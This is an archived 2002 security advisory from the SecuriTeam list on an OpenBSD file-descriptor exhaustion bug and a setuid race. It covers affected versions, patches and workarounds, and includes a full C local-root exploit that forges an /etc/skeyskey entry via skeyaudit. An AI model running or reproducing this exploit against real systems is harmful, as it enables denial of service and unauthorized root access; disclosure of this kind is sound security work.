[UNIX] OpenBSD File Descriptor Vulnerability (Additional Details)
From: support@securiteam.comDate: 05/19/02
- Previous message: support@securiteam.com: "[NEWS] SonicWALL SOHO Content Blocking Script Injection and Logfile DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sun, 19 May 2002 07:05:55 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
OpenBSD File Descriptor Vulnerability (Additional Details)
------------------------------------------------------------------------
SUMMARY
On current OpenBSD systems, any local user (whether or not they are in the
wheel group) can fill the kernel file descriptors table, leading to a
denial of service condition. Furthermore, by abusing a flaw in the way the
kernel checks closed file descriptors 0-2 (when running a setuid program),
it is possible to combine this bug and gain root access (by exploiting a
race condition).
DETAILS
Vulnerable systems:
OpenBSD 3.1, 3.0 and 2.9 (Unpatched)
Immune systems:
OpenBSD 3.1, 3.0 and 2.9 (Patched)
Technical description:
Local Denial of Service:
A local user can exhaust all the file descriptor entries in the kernel
table, since there is nothing like a "per user limit" (unlike what is done
for processes). It is only a "per process limit" which can be reached
easily by a process creating pipes in a loop. One pipe means two unique
file descriptors. Such a process can fork when its limit is reached, and
then go on creating pipes, fork again, and finally reach the system limit.
Then only the cracker can execute commands, by freeing some file
descriptors when he wants to. Even root cannot run commands: typing "ls"
in the console answers "Two many opened files in system" or "No ld.so".
Operations of crontabs, logging facilities, daemons and servers, are at
risk too. Other systems may be vulnerable to this attack. Linux tries to
prevent this with some file descriptors available only to root.
Local Root Exploit
Three weeks ago, Joost Pol from Pine released an advisory about the
following bug on FreeBSD: closing file descriptors 0, 1, and/or 2 before
exec'ing a setuid program can make this program open files under these
fds, which have special meanings for libc (stdin/out/err). Reading or
writing to root-owned files can be made possible, since
stdXX==opened_file.
Since 1998, there is a check in the OpenBSD kernel, intended to prevent
this: in the execve function, if fd is 0, 1 or 2 is closed, then it is
opened as a new file descriptor assigned to /dev/null. Then, the setuid
program can be safely executed. But, unlike the FreeBSD and NetBSD patch
(and unlike what does Linux in glibc), if there is a failure here, we
break out of the current loop and the execve goes on (it should fail: this
was pointed out by art in the comments of the code, but not fixed).
In sys/kern/kern_exec.c, in the loop where the kernel tries to open
/dev/null on closed fd 0->2:
(...)
if ((error = falloc(p, &fp, &indx)) != 0)
break;
(...)
This can be exploited by a local user to gain root. An attacker can
exploit a race condition with respect to the system file descriptors
table:
1) Fill the kernel file descriptors table (see the "local DoS"
explanation).
2) Execute a setuid program with (for instance) fd number 2 closed. In the
execve kernel function, fd number 2 will not be opened to /dev/null
because the falloc will fail. So, the setuid program will be run with fd 2
closed.
3) Quickly close some fd in order to allow the program to run correctly
(ld.so needs free file descriptors, and so does the setuid program). Step
3 timing is crucial: if too early, /dev/null will be assigned to fd 2. If
too late, the suid program execution will fail. However, we found that, by
tuning a simple "for" loop, the good timing is quite easy to meet.
Solution:
The "root exploit" problem was fixed on the CVS a week ago, a few hours
after it was reported. Patches for OpenBSD 3.1, 3.0 and 2.9 should be
available on the OpenBSD website today. Removing the setuid bit from
/usr/bin/skey* is not a good workaround, you must patch your kernel.
Increasing kern.maxfiles and lowering the local users hard limits (both
number of processes and opened files per process) could be a workaround to
the DoS problem.
Exploit:
We have been able to exploit this vulnerability successfully on OpenBSD
3.0, and become root from luser using the setuid-root program
"/usr/bin/skeyaudit" (keyinit was the FreeBSD exploit by phased, but the
OpenBSD skeyinit is not exploitable the same way).
The trick is to put the line we want to insert in /etc/skeyskey into
argv[0], with new line tags, when running skeyaudit. Any entry for the
local user must be removed first, so skeyaudit will complain on stderr,
printing its "filename" (argv[0]) and some error text. If /etc/skeyskey is
opened on fd number 2, we succeeded.
/* fd_openbsd.c
(c) 2002 FozZy <fozzy@dmpfrance.com>
Local root exploit for OpenBSD up to 3.1. Do not distribute.
Research material from Hackademy and Hackerz Voice Newspaper
(http://www.hackerzvoice.com)
For educational and security audit purposes only. Try this on your *own*
system.
No warranty of any kind, this program may damage your system and your
brain.
Script-kiddies, you will have to modify one or two things to make it
work.
Usage:
gcc -o fd fd_openbsd.c
./fd
su -a skey
*/
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
#define SUID_NAME "/usr/bin/skeyaudit"
#define SKEY_DATA "\nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002
22:47:00\n";
extern int errno;
int main(int argc, char **argv) {
char *argvsuid[3];
int i, n;
int fildes[2];
struct rlimit *rlp;
rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
if (getrlimit(RLIMIT_NOFILE, rlp))
perror("getrlimit");
rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number
of fd in each process */
if (setrlimit(RLIMIT_NOFILE, rlp))
perror("setrlimit");
n=0;
open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the
kernel fd table, for execve to succeed later*/
while (n==0) {
for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing
the SUID_NAME buffer, assuming its fd is 3 */
close(i);
i=0;
while(pipe(fildes)==0) /* pipes are the best way to allocate unique
file descriptors quickly */
i++;
printf("Error number %d : %s\n", errno, (errno==ENFILE) ? "System file
table full":"Too many descriptors active for this process");
if (errno==ENFILE) { /* System file table full */
n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one
fd, since a pipe allocates 2 fds or 0 if failure */
fprintf(stderr, "Let's exec the suid binary...\n");
fflush(stderr);
if ((n=fork())==-1) {
perror("last fork failed");
exit(1);
}
if (n==0) {
for (i=3; i<=rlp->rlim_cur; i++)
close(i); /* close all fd, we don't need to fill the fd table of the
process */
argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as
the name of the program */
argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
argvsuid[2]=NULL;
close(2); /* let the process exec'ed have stderr as the *first*
fd free */
execve(SUID_NAME, argvsuid, NULL);
perror("execve");
exit(1);
}
else {
for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own
system */
;
for (i=4; i<=100; i++) /* free some fd for the suid file to execute
normally (ld.so, etc.) */
close(i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
exit(0);
}
}
else { /* process table full, let's fork to allocate more fds */
if ((n=fork()) == -1) {
perror("fork failed");
exit(1);
}
}
}
printf("Number of pipes opened by parent: %d\n",i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
fprintf(stderr,"Exiting...\n");
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:fozzy@dmpfrance.com> FozZy.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] SonicWALL SOHO Content Blocking Script Injection and Logfile DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|